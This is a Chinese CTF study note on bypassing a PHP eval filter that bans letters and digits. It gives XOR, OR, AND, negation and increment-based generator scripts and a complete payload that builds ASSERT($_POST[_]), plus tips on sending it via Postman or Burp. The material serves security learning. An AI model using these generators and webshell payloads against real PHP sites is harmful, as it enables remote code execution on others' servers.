本篇摘抄自yu22x师傅的无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本 和p牛的两篇文章无字母数字webshell之提高篇 和一些不包含数字和字母的webshell
主要是自己留作一个记录
但是这里有个很重要的一点是这种绕过的方法是使用的php7才有的动态函数特性,PHP7中增加了对此的支持
类似这种
($a)()
给个题目例子
1 2 3 4 5 6 7 8 <?php error_reporting(0 ); highlight_file(__FILE__ ); $code=$_GET['code' ]; if (preg_match('/[a-z0-9]/i' ,$code)){ die ('hacker' ); } eval ($code);
异或 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $myfile = fopen("xor.txt" , "w" ); $contents="" ; for ($i=0 ; $i < 256 ; $i++) { for ($j=0 ; $j <256 ; $j++) { if ($i<16 ){ $hex_i='0' .dechex($i); } else { $hex_i=dechex($i); } if ($j<16 ){ $hex_j='0' .dechex($j); } else { $hex_j=dechex($j); } $preg = '/[a-z0-9]/i' ; if (preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo "" ; } else { $a='%' .$hex_i; $b='%' .$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32 &ord($c)<=126 ) { $contents=$contents.$c." " .$a." " .$b."\n" ; } } } } fwrite($myfile,$contents); fclose($myfile);
这里会得到一个xor.txt
文件,然后python写个脚本拼接一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport urllibfrom sys import *import osdef action (arg ): if (arg=="" ): return "()" s1="" s2="" for i in arg: f=open("xor.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input("\n[+] your function:" ) )+action(input("[+] your command:" ))+";" print(param)
或 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen("or.txt" , "w" ); $contents="" ; for ($i=0 ; $i < 256 ; $i++) { for ($j=0 ; $j <256 ; $j++) { if ($i<16 ){ $hex_i='0' .dechex($i); } else { $hex_i=dechex($i); } if ($j<16 ){ $hex_j='0' .dechex($j); } else { $hex_j=dechex($j); } $preg = '/[a-z0-9]/i' ; if (preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo "" ; } else { $a='%' .$hex_i; $b='%' .$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32 &ord($c)<=126 ) { $contents=$contents.$c." " .$a." " .$b."\n" ; } } } } fwrite($myfile,$contents); fclose($myfile);
拼接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport urllibfrom sys import *import osdef action (arg ): if (arg=="" ): return "()" s1="" s2="" for i in arg: f=open("or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input("\n[+] your function:" ) )+action(input("[+] your command:" ))+";" print(param)
且 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen("and.txt" , "w" ); $contents="" ; for ($i=0 ; $i < 256 ; $i++) { for ($j=0 ; $j <256 ; $j++) { if ($i<16 ){ $hex_i='0' .dechex($i); } else { $hex_i=dechex($i); } if ($j<16 ){ $hex_j='0' .dechex($j); } else { $hex_j=dechex($j); } $preg = '/[a-z0-9]/i' ; if (preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo "" ; } else { $a='%' .$hex_i; $b='%' .$hex_j; $c=(urldecode($a)&urldecode($b)); if (ord($c)>=32 &ord($c)<=126 ) { $contents=$contents.$c." " .$a." " .$b."\n" ; } } } } fwrite($myfile,$contents); fclose($myfile);
但是且
拼接需要对于&
字符urlencode一下,因为我们这里题目是get传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport urllibfrom sys import *import osdef action (arg ): if (arg=="" ): return "()" s1="" s2="" for i in arg: f=open("and.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"" +urllib.parse.quote("&" )+"\"" +s2+"\")" return (output) while True : param=action(input("\n[+] your function:" ) )+action(input("[+] your command:" ))+";" print(param)
post的小问题 这里突然想到试试post传参的方式试试,然后就出现了点问题,首先先解决一下传参的几种编码方式
1:application/x-www-form-urlencoded –> 默认模式,在发送到服务器之前,所有字符都会进行编码
就是会对你post的数据再进行一次url编码
2:multipart/form-data –> 不对字符编码,在使用包含文件上传控件的表单时,必须使用该值。
直接传
3:text/plain –> 空格转换为 “+” 加号,但不对特殊字符编码。
这里遇到点问题
我直接使用postman的application/x-www-form-urlencoded
方式传过去发现报hacked
因为postman使用application/x-www-form-urlencoded
会自动再次编码一遍,然后到php$code=$_POST['code'];
会解码一遍这里会得到("%7b%7b%7b%7b%7e%7e%7f"%26"%f0%e8%f0%e9%ee%e6%ef")();
就会有可见字符,这里一个方法就是先postman解码一下,有点类似我们写反序列化时遇到private类因为有\00会选择先urlencode然后到postman再解码
这里还有一个办法就是通过burpsuite来发包
POST / HTTP/1.1 Host: xxxxx Content-Length: 61 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/ ;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
code=(“%7b%7b%7b%7b%7e%7e%7f”%26”%f0%e8%f0%e9%ee%e6%ef”)();
注意Content-Type
的类型
还有我发现google浏览器的hackbar提供了
这种application/x-www-form-urlencoded(raw)
方式就是数据以text/plain传但是Content-Type
类型写的是application/x-www-form-urlencoded
很方便
取反 1 2 3 4 5 6 7 8 9 10 11 <?php fwrite(STDOUT,'[+]your function: ' ); $system=str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); fwrite(STDOUT,'[+]your command: ' ); $command=str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); echo '[*] (~' .urlencode(~$system).')(~' .urlencode(~$command).');' ;
自增 首先可以看一下p牛这篇这部分
http://php.net/manual/zh/language.operators.increment.php
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++;
将把 $a
变成'AA'
,而在 C 中,a = 'Z'; a++;
将把 a
变成 '['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
虽然php沿袭perl习惯但是支持c风格
所以我们可以通过'a'++=>'b'
,根据p牛的说法我们可以通过[]
数组(Array)获取首字母A
这样再++
就可以获得其他的字符
1 2 3 4 5 6 7 8 $_=[]; $_=@"$_ " ; $_=$_['#' =='@' ]; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; var_dump($__);
但是这个方法好像只能php7.0.12
以下的版本才可以
完整的payload
1 2 3 4 //使用时需要url编码下 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); 固定格式 构造出来的 ASSERT($_POST[_]); 然后post传入 _=phpinfo();
php5上传临时文件 PHP5+shell打破禁锢